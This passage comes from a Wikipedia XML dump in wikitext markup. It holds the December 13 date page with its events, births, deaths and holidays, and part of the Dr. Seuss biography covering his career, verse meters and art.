[[an:14 d'abiento]]
[[ast:14 d'avientu]]
[[bg:14 декември]]
[[be:14 сьнежня]]
[[bs:14. decembar]]
[[br:14 Kerzu]]
[[ca:14 de desembre]]
[[ceb:Disyembre 14]]
[[cv:Раштав, 14]]
[[co:14 di decembre]]
[[cs:14. prosinec]]
[[cy:14 Rhagfyr]]
[[da:14. december]]
[[de:14. Dezember]]
[[et:14. detsember]]
[[el:14 Δεκεμβρίου]]
[[es:14 de diciembre]]
[[eo:14-a de decembro]]
[[eu:Abenduaren 14]]
[[fo:14. desember]]
[[fr:14 décembre]]
[[fy:14 desimber]]
[[ga:14 Nollaig]]
[[gl:14 de decembro]]
[[ko:12월 14일]]
[[hr:14. prosinca]]
[[io:14 di decembro]]
[[id:14 Desember]]
[[ia:14 de decembre]]
[[is:14. desember]]
[[it:14 dicembre]]
[[he:14 בדצמבר]]
[[jv:14 Desember]]
[[ka:14 დეკემბერი]]
[[csb:14 gòdnika]]
[[ku:14'ê berfanbarê]]
[[la:14 Decembris]]
[[lt:Gruodžio 14]]
[[lb:14. Dezember]]
[[hu:December 14]]
[[mk:14 декември]]
[[ms:14 Disember]]
[[nap:14 'e dicembre]]
[[nl:14 december]]
[[ja:12月14日]]
[[no:14. desember]]
[[nn:14. desember]]
[[oc:14 de decembre]]
[[pl:14 grudnia]]
[[pt:14 de Dezembro]]
[[ro:14 decembrie]]
[[ru:14 декабря]]
[[se:Juovlamánu 14.]]
[[sco:14 December]]
[[sq:14 Dhjetor]]
[[scn:14 di dicèmmiru]]
[[simple:December 14]]
[[sk:14. december]]
[[sl:14. december]]
[[sr:14. децембар]]
[[fi:14. joulukuuta]]
[[sv:14 december]]
[[tl:Disyembre 14]]
[[tt:14. Dekäber]]
[[te:డిసెంబర్ 14]]
[[th:14 ธันวาคม]]
[[vi:14 tháng 12]]
[[tr:14 Aralık]]
[[uk:14 грудня]]
[[wa:14 di decimbe]]
[[war:Disyembre 14]]
[[zh:12月14日]]
[[pam:Disiembri 14]]</text>
    </revision>
  </page>
  <page>
    <title>December 13</title>
    <id>8852</id>
    <revision>
      <id>42011158</id>
      <timestamp>2006-03-03T05:08:16Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Events */ removed redundant entry</comment>
      <text xml:space="preserve">'''[[December 13]]''' is the 347th day of the year (348th in [[leap year]]s) in the [[Gregorian calendar]].  There are 18 days remaining.

{{DecemberCalendar}}

==Events==
*[[1294]] - [[Pope Celestine V|Saint Celestine V]] [[papal abdication|abdicates]] the [[Pope|papacy]] after only five months; Celestine hoped to return to his previous life as an [[ascetic]] [[hermit]]. 
*[[1545]] - [[Council of Trent]] begins.
*[[1577]] - Sir [[Francis Drake]] sets out from [[Plymouth]], [[England]], on his round-the-world voyage.
*[[1642]] - [[Abel Janszoon Tasman]] reaches [[New Zealand]].
*[[1643]] - [[English Civil War]]: The [[Battle of Alton]] takes place in [[Hampshire]].
*[[1769]] - [[Dartmouth College]] founded by the [[Eleazar Wheelock|Rev. Eleazar Wheelock]], with a Royal Charter from King [[George III]], on land donated by Royal Governor [[John Wentworth (governor)|John Wentworth]].
*[[1862]] - [[American Civil War]]: At the [[Battle of Fredericksburg]], [[Confederate States of America|Confederate]] General [[Robert E. Lee]] defeats the [[Union Army|Union]]  Major General [[Ambrose E. Burnside]].
*[[1937]] - [[Second Sino-Japanese War]]: [[Battle of Nanjing]] - [[Nanjing]], defended by the [[National Revolutionary Army]] under the command of General [[Tang Shengzhi]], falls to the [[Imperial Japan|Japanese]].
*[[1938]] - [[The Holocaust]]: 100 deportees from [[Sachsenhausen]] build the [[Neuengamme]] [[concentration camp]] near [[Hamburg]].
*[[1939]] - [[World War II]]: [[Battle of the River Plate]] - Captain [[Hans Langsdorff]] of the [[Nazi Germany|German]] [[pocket battleship]] ''[[Admiral Graf Spee]]'' engages with [[Royal Navy]] cruisers ''[[HMS Exeter (68)|HMS Exeter]]'', ''[[HMS Ajax (22)|HMS Ajax]]'' and ''[[HMNZS Achilles]]''.
*[[1941]] - [[Timeline of World War II|World War II]]: [[Hungary]] and [[Romania]] declare war on the [[United States]].
*[[1949]] - The [[Knesset]] votes to move the capital of [[Israel]] to [[Jerusalem]].
*[[1959]] - [[Archbishop Makarios]] becomes the first President of [[Cyprus]].
*[[1973]] - [[Rael]], leader of the [[Raelian Movement]] claims to meet an ET he says is named [[Yahweh]], during an alleged [[UFO]] encounter in Puy de Lassolas, France.
*[[1974]] - [[Malta]] becomes a republic.
*[[1977]] - A United States government aircraft DC-3 crashes near [[Evansville Regional Airport]], killing 29, including the [[University of Evansville]] basketball team.
*[[1978]] - The first [[Susan B. Anthony dollar]] enters circulation.
*[[1979]] - The [[Canadian Government]] of Prime Minister [[Joe Clark]] is defeated in the [[Canadian House of Commons|House of Commons]], prompting the [[Canadian federal election, 1980|1980 Canadian election]].
*[[1981]] - General [[Wojciech Jaruzelski]] declares [[martial law in Poland|martial law]] in [[Poland]] to prevent dismantling of the communist system by ''[[Solidarity]]''.
*[[1989]] - The last issue of ''Gnistan'' (The Spark), the organ of the [[KFML|Solidaritetspartiet]], is published in [[Sweden]].
*[[1996]] - [[Kofi Annan]] is elected as [[Secretary-General of the United Nations]].
*[[2000]] - The &quot;[[Texas 7]]&quot; escape from the [[John Connally Unit]] near [[Kenedy, Texas]] and go on a robbery spree, during which police officer [[Aubrey Hawkins]] is shot and killed.
*  2000   - [[Vice President of the United States|American Vice President]] [[Al Gore]] delivers his concession speech ending his hopes of becoming the 43rd [[President of the United States]].
*[[2001]] - the [[Indian Parliament]] Sansad is attacked by Terrorists, killing 15 people, including all the terrorists. Tensions escalate in [[South Asia]], with nuclear war likelihoods.
*[[2002]] - [[Enlargement of the European Union]]: The [[European Union]] announces that [[Cyprus]], the [[Czech Republic]], [[Estonia]], [[Hungary]], [[Latvia]], [[Lithuania]], [[Malta]], [[Poland]], [[Slovakia]], and [[Slovenia]] will become members from [[May 1]], [[2004]].
*[[2003]] - Former [[Iraq]]i President [[Saddam Hussein]] is captured near his home town of [[Tikrit]] (see [[Operation Red Dawn]]).
*  2003   - In the most-attended [[basketball]] game in history, 78,129 watch [[Michigan State University]] lose 79-74 to the [[University of Kentucky]] at [[Ford Field]].
*[[2004]] - Former [[Chile|Chilean]] [[dictator]], General [[Pinochet|Augusto Pinochet]] is put under house arrest, after being sued under accusations over 9 kidnapping actions and manslaughter. The house arrest is lifted the same day on appeal.

==Births==
*[[1521]] - [[Pope Sixtus V]] (d. [[1590]])
*[[1533]] - King [[Eric XIV of Sweden]] (d. [[1577]])
*[[1553]] - King [[Henry IV of France]] (d. [[1610]])
*[[1585]] - [[William Drummond of Hawthornden]], Scottish poet (d. [[1649]])
*[[1640]] - [[Robert Plot]], English naturalist (d. [[1696]])
*[[1662]] - [[Francesco Bianchini]], Italian philosopher and scientist (d. [[1729]])
*[[1678]] - [[Yongzheng Emperor]] of China (d. [[1735]])
*[[1724]] - [[Franz Aepinus]], German scientist (d. [[1802]])
*[[1784]] - [[Archduke Louis of Austria]] (d. 1864)
*[[1797]] - [[Heinrich Heine]], German poet (d. [[1856]])
*[[1804]] - [[Joseph Howe]], Canadian politician (d. [[1873]])
*[[1813]] - [[David Spangler Kaufman]], American politician (d. [[1851]])
*[[1816]] - [[Ernst Werner von Siemens]], German engineer, inventor, and industrialist (d. [[1892]])
*[[1818]] - [[Mary Todd Lincoln]], [[First Lady of the United States]] (d. [[1882]])
*[[1836]] - [[Franz von Lenbach]], German painter (d. [[1904]])
*[[1854]] - [[Thomas Watson (inventor)|Thomas Watson]], American assistant to [[Alexander Graham Bell]] (d. [[1934]])
*[[1856]] - [[Svetozar Boroević]], Austro-Hungarian field marshal (d. [[1920]])
*[[1864]] - [[Emil Seidel]], Mayor of Milwaukee (d. [[1947]])
*[[1867]] - [[Kristian Birkeland]], Norwegian explorer and scientist (d. [[1917]])
*[[1874]] - [[Josef Lhévinne]], Russian-born pianist (d. [[1944]])
*[[1883]] - [[Belle da Costa Greene]], American librarian, bibliographer and archivist (d. [[1950]])
*[[1887]] - [[George Polya]], Hungarian-born mathematician (d. [[1985]])
*1887 - [[Alvin York]], American soldier (d. [[1964]])
*[[1897]] - [[Drew Pearson (journalist)|Drew Pearson]], American journalist (d. [[1969]])
*[[1903]] - [[Carlos Montoya]], Spanish guitarist (d. [[1993]])
*[[1906]] - [[Princess Marina of Greece and Denmark|Princess Marina, Duchess of Kent]] (d. [[1968]])
*1906 - Sir [[Laurens van der Post]], Afrikaner-born South African author (d. [[1996]])
*[[1910]] - [[Van Heflin]], American actor (d. [[1971]])
*[[1911]] - [[Trygve Haavelmo]], Norwegian economist and [[Nobel Prize in Economics|Bank of Sweden Prize]] winner (d. [[1999]])
*1911 - [[Kenneth Patchen]], American poet and painter (d. [[1972]])
*[[1913]] - [[Archie Moore]], American boxer and World [[Light-Heavyweight]] Champion (d. [[1998]])
*[[1915]] - [[Curd Jurgens|Curd Jürgens]], German actor (d. [[1982]])
*1915 - [[Ross Macdonald]], American-born author (d. [[1983]])
*[[1923]] - [[Philip Warren Anderson]], American physicist and [[Nobel Prize in Physics|Nobel Prize]] laureate
*1923 - [[Larry Doby]], American baseball player (d. [[2003]])
*[[1925]] - [[Dick Van Dyke]], American actor and comedian
*[[1926]] - [[George Rhoden]], Jamaican athlete and Olympic gold medalist
*[[1927]] - [[Christopher Plummer]], Canadian actor
*[[1934]] - [[Richard D. Zanuck]], American film producer
*[[1936]] - [[Aga Khan IV|His Highness Prince Karim Aga Khan]] (Prince Karim El Husseni)
*[[1943]] - [[Ferguson Jenkins]], Canadian baseball player
*[[1948]] - [[Ted Nugent]], American guitarist
*1948 - [[Brian Wilson (politician)|Brian Wilson]], British politician
*[[1950]] - [[Tom Vilsack]], Governor of Iowa
*[[1953]] - [[Ben Bernanke]], American economist
*1953 - [[Bob Gainey]], Canadian hockey player
*[[1954]] - [[John Anderson (musician)|John Anderson]], American country musician
*[[1957]] - [[Steve Buscemi]], American actor
*1957 - [[Morris Day]], American singer ([[The Time (band)|The Time]])
*1957 - [[Jean-Marie Messier]], French businessman
*[[1958]] - [[Lynn-Holly Johnson]], American figure skater and actress
*[[1959]] - [[Nadia Russ]], Soviet-born artist
*[[1961]] - [[Harry Gregson-Williams]], British composer
*[[1963]] - [[Jake White]], South African rugby union coach
*[[1964]] - [[hide (musician)|hide]], Japanese musician ([[X Japan]]) (d. [[1998]])
*[[1965]] - [[Marko Mäetamm]], Estonian artist
*[[1967]] - [[Jamie Foxx]], American actor
*[[1969]] - [[Sergei Fedorov]], Russian hockey player
*[[1973]] - [[Christie Clark]], American actress
*[[1974]] - [[Nicholas McCarthy]], British-born guitarist ([[Franz Ferdinand (band)|Franz Ferdinand]])
*[[1975]] - [[Tom Delonge]], American guitarist ([[Blink-182]])
*[[1976]] - [[Josh Fogg]], American baseball player
*[[1981]] - [[Amy Lee]], American singer ([[Evanescence]])
*[[1983]] - [[Otylia Jedrzejczak|Otylia J&amp;#281;drzejczak]], Polish swimmer, FINA World Champion and Olympic gold medalist

==Deaths==
*[[1048]] - [[Al-Biruni]], Persian mathematician (b. [[973]])
*[[1124]] - [[Pope Callixtus II]]
*[[1204]] - [[Maimonides]], Spanish rabbi and philosopher (b. [[1135]])
*[[1250]] - [[Frederick II, Holy Roman Emperor]] (b. [[1194]])
*[[1404]] - [[Albert, Count of Holland]] (b. [[1336]])
*[[1466]] - [[Donatello]] (Donato di Niccolò di Betto Bardi),  Florentine artist and sculptor (b. [[1386]])
*[[1516]] - [[Johannes Trithemius]], German cryptographer (b. [[1462]])
*[[1521]] - King [[Manuel I of Portugal]] (b. [[1469]])
*[[1557]] - [[Niccolo Fontana Tartaglia]], Italian mathematician
*[[1565]] - [[Conrad Gessner]], Swiss naturalist (b. [[1516]])
*[[1603]] - [[François Viète]], French mathematician (b. [[1540]])
*[[1621]] - [[Katarina Stenbock]], Queen of [[Gustav I of Sweden]] (b. [[1535]])
*[[1716]] - [[Charles de La Fosse]], French painter (b. [[1640]])
*[[1721]] - [[Alexander Selkirk]], Scottish sailor and castaway (b. [[1676]])
*[[1729]] - [[Anthony Collins]], English philosopher (b. [[1676]])
*[[1754]] - [[Mahmud I]], [[Ottoman Sultan]] (b. [[1696]])
*[[1769]] - [[Christian Fürchtegott Gellert]], German poet (b. [[1715]])
*[[1783]] - [[Pehr Wilhelm Wargentin]], Swedish astronomer (b. [[1717]])
*[[1784]] - [[Samuel Johnson]], British writer and lexicographer (b. [[1709]])
*[[1814]] - [[Charles Joseph, Prince de Ligne]], Belgian-born Austrian field marshal (b. [[1735]])
*[[1837]] - [[Herman of Alaska]], [[Russian Orthodox]] hermit (b. [[1756]])
*[[1863]] - [[Christian Friedrich Hebbel]], German writer (b. [[1813]])
*[[1868]] - [[Carl Friedrich Philipp von Martius]], German botanist (b. [[1794]])
*[[1881]] - [[August Senoa]], Croatian writer (b. [[1838]])
*[[1883]] - [[Victor de Laprade]], French poet and critic (b. [[1812]])
*[[1895]] - [[Anyos Jedlík]], Hungarian physicist (b. [[1800]])
*[[1919]] - [[Woldemar Voigt]], German physicist (b. [[1850]])
*[[1930]] - [[Fritz Pregl]], Austrian chemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1869]])
*[[1931]] - [[Gustave le Bon]], French psychologist (b. [[1840]])
*[[1935]] - [[Victor Grignard]], French chemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1871]])
*[[1940]] - [[Jacques-Arsène d'Arsonval]], French physicist (b. [[1851]])
*[[1944]] - [[Wassily Kandinsky]], Russian-born French artist (b. [[1866]])
*[[1947]] - [[Nicholas Roerich]], Russian-born painter (b. [[1874]])
*[[1955]] - [[Egas Moniz]], Portuguese physician and [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (b. [[1874]])
*[[1961]] - [[Grandma Moses]], American painter (b. [[1860]])
*[[1983]] - [[Alexander Schmemann]], Orthodox Christian priest and theologian (b. [[1921]])
*1983 - [[Nichita Stanescu]], Romanian poet (b.[[1933]])
*[[1993]] - [[Vanessa Duriès]], French novelist (b. [[1972]])
*[[2001]] - [[Chuck Schuldiner]], American guitarist, singer and songwriter ([[Death (band)|Death]]) (b. [[1967]])
*[[2002]] - [[Zal Yanofsky]], American guitarist and singer ([[The Lovin' Spoonful]]) (b. [[1945]])
*[[2003]] - [[William V. Roth, Jr.]], U.S. Senator (b. [[1921]])
*[[2004]] - [[Andre Rodgers]], Bahamian baseball player (b. [[1934]])
*2004 - [[David Wheeler]], British computer scientist (b. [[1927]])
*[[2005]] - [[Stanley Williams]] (Stanley Tookie Williams III), Founder of the [[Crips]] street gang, convicted murderer and anti-gang activist (b. [[1953]])

==Holidays and observances==
* [[Roman festivals]] - [[Tellus]] was worshipped in the district ''Carinae'' at the [[Esquiline Hill]], and a ''lectisternium'' or table was spread for Ceres.
* [[Calendar of Saints|R.C. Saints]] - memorial of [[Saint Lucy]]
* Also see [[December 13 (Eastern Orthodox liturgics)]]
* In the [[Julian calendar]] before the Gregorian reform, this was the shortest day and longest night, and widely celebrated as such
* In the [[Irish calendar]] the Wednesday, Friday and Saturday following the Feast of Saint Lucy were observed as [[Quarter tense]].
* [[Malta]] - [[Republic Day]] (since [[1974]])
* [[Saint Lucy|St. Lucia]]'s Day in [[Sweden]], [[Norway]], [[Denmark]] and [[Finland]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/13 BBC: On This Day]

----

[[December 12]] - [[December 14]] - [[November 13]] - [[January 13]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:13 Desember]]
[[ar:13 ديسمبر]]
[[an:13 d'abiento]]
[[ast:13 d'avientu]]
[[bg:13 декември]]
[[be:13 сьнежня]]
[[bs:13. decembar]]
[[br:13 Kerzu]]
[[ca:13 de desembre]]
[[ceb:Disyembre 13]]
[[cv:Раштав, 13]]
[[co:13 di decembre]]
[[cs:13. prosinec]]
[[cy:13 Rhagfyr]]
[[da:13. december]]
[[de:13. Dezember]]
[[et:13. detsember]]
[[el:13 Δεκεμβρίου]]
[[es:13 de diciembre]]
[[eo:13-a de decembro]]
[[eu:Abenduaren 13]]
[[fo:13. desember]]
[[fr:13 décembre]]
[[fy:13 desimber]]
[[ga:13 Nollaig]]
[[gl:13 de decembro]]
[[ko:12월 13일]]
[[hr:13. prosinca]]
[[io:13 di decembro]]
[[id:13 Desember]]
[[ia:13 de decembre]]
[[is:13. desember]]
[[it:13 dicembre]]
[[he:13 בדצמבר]]
[[jv:13 Desember]]
[[ka:13 დეკემბერი]]
[[csb:13 gòdnika]]
[[ku:13'ê berfanbarê]]
[[la:13 Decembris]]
[[lt:Gruodžio 13]]
[[lb:13. Dezember]]
[[hu:December 13]]
[[mk:13 декември]]
[[ms:13 Disember]]
[[nap:13 'e dicembre]]
[[nl:13 december]]
[[ja:12月13日]]
[[no:13. desember]]
[[nn:13. desember]]
[[oc:13 de decembre]]
[[pl:13 grudnia]]
[[pt:13 de Dezembro]]
[[ro:13 decembrie]]
[[ru:13 декабря]]
[[se:Juovlamánu 13.]]
[[sco:13 December]]
[[sq:13 Dhjetor]]
[[scn:13 di dicèmmiru]]
[[simple:December 13]]
[[sk:13. december]]
[[sl:13. december]]
[[sr:13. децембар]]
[[fi:13. joulukuuta]]
[[sv:13 december]]
[[tl:Disyembre 13]]
[[tt:13. Dekäber]]
[[te:డిసెంబర్ 13]]
[[th:13 ธันวาคม]]
[[vi:13 tháng 12]]
[[tr:13 Aralık]]
[[uk:13 грудня]]
[[wa:13 di decimbe]]
[[war:Disyembre 13]]
[[zh:12月13日]]
[[pam:Disiembri 13]]</text>
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[[Image:US_postal_service_dr_seuss.jpg|400px|thumb|Postage stamp honoring Dr. Seuss and depicting him along with several of his creations, such as ''The Cat in the Hat'' and ''The Grinch.'' (courtesy of the [[United States Postal Service]])]]

'''Theodor Seuss Geisel''' ([[March 2]], [[1904]] &amp;ndash; [[September 24]], [[1991]]), better known by his [[pen name]], '''Dr. Seuss''', was a famous [[United States|American]] [[writer]] and [[cartoonist]] best known for his [[children's books]], particularly [[The Cat in the Hat]]. He also wrote under the pen names '''Theo LeSieg''' and '''Rosetta Stone'''.

==Life and Work==

Geisel was born in [[Springfield, Massachusetts|Springfield]], [[Massachusetts]]. He graduated from [[Dartmouth College]] in [[1925]], where he was a member of [[Sigma Phi Epsilon]], the Casque &amp; Gauntlet Society, and wrote for the &lt;i&gt;[[Dartmouth Jack O'Lantern]]&lt;/i&gt; humor magazine under his own name and the pen name &quot;Seuss.&quot; He entered [[Lincoln College, Oxford]], intending to earn a [[doctorate]] in [[literature]]. At [[University of Oxford|Oxford]] he met Helen Palmer, married her in [[1927]], and returned to the [[United States]] before earning his doctorate.  

He began submitting humorous articles and illustrations to ''Judge'' (a humor magazine), ''[[The Saturday Evening Post]]'', ''[[Life magazine|Life]]'', ''[[Vanity Fair magazine|Vanity Fair]]'', and ''[[Liberty magazine|Liberty]]''.  One notable &quot;Technocracy Number&quot; made fun of [[Technocracy Incorporated|Technocracy, Inc.]] and featured satirical rhymes at the expense of [[Frederick Soddy]].  He became nationally famous from his advertisements for [[Flit]], a common insecticide at the time. His slogan, &quot;Quick, Henry, the Flit!&quot; became a popular catchphrase. Geisel supported himself and his wife through the [[Great Depression]] by drawing advertising for [[General Electric]], [[NBC]], [[Standard Oil]], and many other companies. He also wrote and drew a short lived comic strip called ''[[Hejji]]'' in [[1935]].

Even at this early stage, Geisel had started using the pen name &quot;Dr. Seuss&quot;.  His first work signed as &quot;Dr. Seuss&quot; appeared six months into his work for ''Judge''. Seuss was his mother's maiden name; as an immigrant from [[Germany]], she would have pronounced it more or less as &quot;zoice&quot;, but today it is universally pronounced with an initial ''s'' sound and rhyming with &quot;juice&quot;.  The &quot;Dr.&quot; is an acknowledgment of his father's unfulfilled hopes that Seuss would earn a doctorate at Oxford.  Geisel also used the pen name '''Theo. LeSieg''' (Geisel spelled backwards) for books he wrote but others illustrated.

In [[1936]], while Seuss sailed again to Europe, the rhythm of the ship's engines inspired the poem that became his first book, ''And to Think That I Saw It on Mulberry Street''.  Seuss wrote three more children's books before [[World War II]] (see list of works below), two of which are, atypically for him, in [[prose]].

As World War II began, Dr. Seuss turned to political cartoons, drawing over 400 in two years as editorial cartoonist for the [[left-wing]] [[New York City]] daily newspaper, ''[[PM (newspaper)|PM]]''.  Dr. Seuss's political cartoons opposed the viciousness of [[Adolf Hitler|Hitler]] and [[Benito Mussolini|Mussolini]] and were highly critical of isolationists, most notably [[Charles Lindbergh]], who opposed American entry into the war.  Some cartoons depicted [[Japanese Americans]] as traitors, one of which appeared days before the [[Japanese internment|internments]] started.

In [[1942]], Dr. Seuss turned his energies to direct support of the US government's war effort.  First, he worked drawing posters for the [[United States Department of the Treasury|Treasury Department]] and the [[United States War Production Board|War Production Board]].  Then, in [[1943]], he joined the [[US Army|Army]] and was sent to [[Frank Capra]]'s [[United States Armed Forces Signal Corps Unit|Signal Corps Unit]] in [[Hollywood]], where he wrote films for the [[United States Armed Forces]], including &quot;Your Job in Germany,&quot; a [[1945]] propaganda film about peace in Europe after World War II, &quot;Design for Death,&quot; a study of [[Japanese culture]] that won the [[Academy Award]] for Best [[Documentary film|Documentary]] in [[1948]], and the ''[[Private Snafu]]'' series of army training films.  While in the Army, he was awarded the [[Legion of Merit]].  Dr. Seuss's non-military films from around this time were also well-received; ''[[Gerald McBoing-Boing]]'' won the Academy Award for Best Short Subject (Animated) in [[1951]].

Despite his numerous awards, Dr. Seuss never won the [[Caldecott Medal]] nor the [[Newbery Medal|Newbery]]. Three of his titles were chosen as Caldecott runners-up (now referred to as Caldecott Honor books): ''McElligot's Pool'' (1947), ''Bartholomew and the Oobleck'' (1949), and ''If I Ran the Zoo'' (1950).

After the war, Dr. Seuss and his wife moved to [[La Jolla]], [[California]], a small community forming part of [[San Diego]].  Returning to children's books, he wrote what many consider to be his finest works, including such favorites as ''If I Ran the Zoo'', (1950), ''Scrambled Eggs Super!'' (1953), ''On Beyond Zebra!'' (1955), ''If I Ran the Circus'' (1956), and ''[[How the Grinch Stole Christmas!]]'' (1957).

At the same time, an important development occurred that influenced much of Seuss's later work.  In May [[1954]], ''[[Life magazine|Life]]'' magazine published a report on [[illiteracy]] among school children, which concluded that children were not learning to read because their books were boring.  Accordingly, Seuss's publisher made up a list of 400 words he felt were important and asked Dr. Seuss to cut the list to 250 words and write a book using only those words.  Nine months later, Seuss, using 220 of the words given to him, completed ''[[The Cat in the Hat]]''.  This book was a ''tour de force''&amp;mdash;it retained the drawing style, verse rhythms, and all the imaginative power of Seuss's earlier works, but because of its simplified vocabulary could be read by beginning readers. In [[1960]], [[Bennett Cerf]] bet Dr. Seuss $50 that he couldn't write an entire book using only fifty words. The result was ''[[Green Eggs and Ham]]''. The prevalent rumor that Cerf never paid Seuss the $50 has never been proven and is most likely untrue. These books achieved significant international success and remain very popular.

Dr. Seuss went on to write many other children's books, both in his new simplified-vocabulary manner (sold as &quot;[[Beginner Books]]&quot;) and in his older, more elaborate style.  The Beginner Books were not easy for Seuss, and reportedly he labored for months crafting them.

At various times Seuss also wrote books for adults that used the same style of verse and pictures:  ''The Seven Lady Godivas'', ''Oh, The Places You'll Go!'', and his final book ''You're Only Old Once'', a satire of [[hospital]]s and the [[geriatrics|geriatric]] lifestyle.

Following a very difficult illness, Helen Palmer Geisel committed [[suicide]] on October 23, 1967. Seuss married Audrey Stone Diamond on June 21, 1968. Seuss himself died, following several years of illness, in [[La Jolla, California]] on [[September 24]], [[1991]].

==Dr. Seuss's meters==

Dr. Seuss wrote most of his books in a verse form that in the terminology of [[meter (poetry)|metrics]] would be characterized as [[anapaest|anapest]]ic [[tetrameter]], a meter employed also by [[George Gordon Byron, Lord Byron|Lord Byron]] and other poets of the English literary canon.  (It is also the meter of the famous Christmas poem ''[[A Visit From St. Nicholas]]''.) Abstractly, anapestic tetrameter consists of four rhythmic units (anapests), each composed of two weak beats followed by one strong, schematized below:

:  x x X x x X x x X x x X

Often, the first weak syllable is omitted, or an additional weak syllable is added at the end.  A typical line (the first line of ''If I Ran the Circus'') is:

:  In ALL the whole TOWN the most WONderful SPOT

Seuss generally maintained this meter quite strictly, up to late in his career, when he was no longer able to maintain strict rhythm in all lines.  The consistency of his meter was one of his hallmarks; the many imitators and parodists of Seuss are often unable to write in strict anapestic tetrameter, or are unaware that they should, and thus sound clumsy in comparison with the original.

Seuss also wrote verse in [[trochaic]] [[tetrameter]], an arrangement of four units each with a strong followed by a weak beat:

:  X x X x X x X x

An example is the title (and first line) of ''One Fish, Two Fish, Red Fish, Blue Fish''.  The formula for trochaic meter permits the final weak position in the line to be omitted, which facilitates the construction of rhymes.

Seuss generally maintained trochaic meter only for brief passages, and for longer stretches typically mixed it with [[iambic]] tetrameter:

:  x X x X x X x X

which is easier to write.  Thus, for example, the magicians  in ''Bartholemew and the Oobleck'' make their first appearance chanting in trochees (thus resembling the witches of [[William Shakespeare|Shakespeare's]] ''[[Macbeth]]''):

:  Shuffle, duffle, muzzle, muff

then switch to iambs for the oobleck spell:

:  Go make the oobleck tumble down
:  On every street, in every town!

In ''Green Eggs and Ham'', Sam-I-Am generally speaks in trochees, and the exasperated character he proselytizes replies in iambs.

While most of Seuss's books are either uniformly anapestic or iambic-trochaic, a few mix triple and double rhythms.  Thus, for instance, ''Happy Birthday to You'' is generally written in anapestic tetrameter, but breaks into iambo-trochaic meter for the &quot;Dr. Derring's singing herrings&quot; and &quot;Who-Bubs&quot; episodes.

==Dr. Seuss's art==

Seuss's earlier artwork often employed the shaded texture of pencil drawings or watercolors, but in children's books of the postwar period he generally employed the starker medium of pen and ink, normally using just black, white, and one or two colors.  Later books such as ''The Lorax'' used more colors, not necessarily to better effect.

Seuss's figures are often somewhat rounded and droopy.  This is true, for instance, of the faces of the Grinch and of the Cat in the Hat.  It is also true of virtually all buildings and machinery that Seuss drew:  although these objects abound in straight lines in real life, Seuss carefully avoided straight lines in drawing them.  For buildings, this could be accomplished in part through choice of architecture.  For machines, Seuss simply distorted reality; for example, ''If I Ran the Circus'' includes a droopy hoisting crane and a droopy steam calliope.

Seuss evidently enjoyed drawing architecturally elaborate objects.  His endlessly varied (but never rectilinear) palaces, ramps, platforms, and free-standing stairways are among his most evocative creations.  Seuss also drew elaborate imaginary machines, of which the Audio-Telly-O-Tally-O-Count, from ''Dr. Seuss's Sleep Book'', is one example.  Seuss also liked drawing outlandish arrangements of feathers or fur, for example, the 500th hat of ''Bartholemew Cubbins'', the tail of ''Gertrude McFuzz'', and the pet for girls who like to brush and comb, in ''One Fish, Two Fish, Red Fish, Blue Fish''.

Seuss's images often convey motion vividly.   He was fond of a sort of &quot;voilà&quot; gesture, in which the hand flips outward, spreading the fingers slightly backward with the thumb up; this is done by Ish, for instance, in ''One Fish, Two Fish'' when he creates fish (who perform the gesture themselves with their fins), in the introduction of the various acts of ''If I Ran the Circus'', and in the introduction of the Little Cats in ''The Cat in the Hat Comes Back''.  Seuss also follows the cartoon tradition of showing motion with lines, for instance in the sweeping lines that accompany Sneelock's final dive in ''If I Ran the Circus''.  Cartoonist's lines are also used to illustrate the action of the senses (sight, smell, and hearing) in ''The Big Brag'' and even of thought, as in the moment when the Grinch conceives his awful idea.

===Recurring images===

Seuss's early work in advertising and editorial cartooning produced sketches that received more perfect realization later on in the children's books. Often, the expressive use to which Seuss put an image later on was quite different from the original.  The examples below are from the website of the [http://orpheus.ucsd.edu/speccoll/seusscoll.html Mandeville Special Collections Library] of the [[University of California, San Diego]].

*An [http://orpheus.ucsd.edu/speccoll/dspolitic/pm/10716cs.jpg editorial cartoon of July 16, 1941] depicts a [[whale]] resting on the top of a mountain, as a [[parody]] of American [[isolationism|isolationists]], especially [[Charles Lindbergh]]. This was later rendered (with no apparent political content) as the Wumbus of ''On Beyond Zebra'' (1955).  Seussian whales (cheerful and balloon-shaped, with long eyelashes) also occur in ''McElligot's Pool'', ''If I Ran the Circus'', and other books.

*[http://orpheus.ucsd.edu/speccoll/dspolitic/pm/10519cs.jpg Another editorial cartoon from 1941] shows a long cow with many legs and udders, representing the conquered nations of Europe being milked by [[Adolf Hitler]]. This later became the Umbus of ''On Beyond Zebra''.

*The tower of turtles in [http://orpheus.ucsd.edu/speccoll/dspolitic/pm/1942/20321cs.jpg this editorial cartoon from 1941] prefigures a similar tower in ''Yertle the Turtle''.

*Seuss's earliest [[elephant]]s were for advertising and had somewhat [http://orpheus.ucsd.edu/speccoll/dsads/bizpostcards/postcardD101.shtml wrinkly ears], much as real elephants do. With ''And to Think that I Saw it on Mulberry Street'' (1937) and  ''Horton Hatches the Egg'' (1940), the ears became more stylized, somewhat like [[angel]] wings and thus appropriate to the saintly Horton. During World War II, the elephant image appeared as an emblem for [[India]] in [http://orpheus.ucsd.edu/speccoll/dspolitic/India.html four editorial cartoons]. Horton and similar elephants appear frequently in the postwar children's books.

*While drawing advertisements for [[Flit]], Seuss became adept at drawing [http://orpheus.ucsd.edu/speccoll/dsads/flit/flit.jpg insects with huge stingers], shaped like a gentle S-curve and with a sharp end that included a rearward-pointing barb on its lower side. Their facial expressions depict gleeful malevolence. These insects were later rendered in an editorial cartoon as a [http://orpheus.ucsd.edu/speccoll/dspolitic/pm/1942/21111cs.jpg swarm of Allied aircraft] (1942), and later still as the Sneedle of ''On Beyond Zebra''.

==Dr. Seuss's politics==

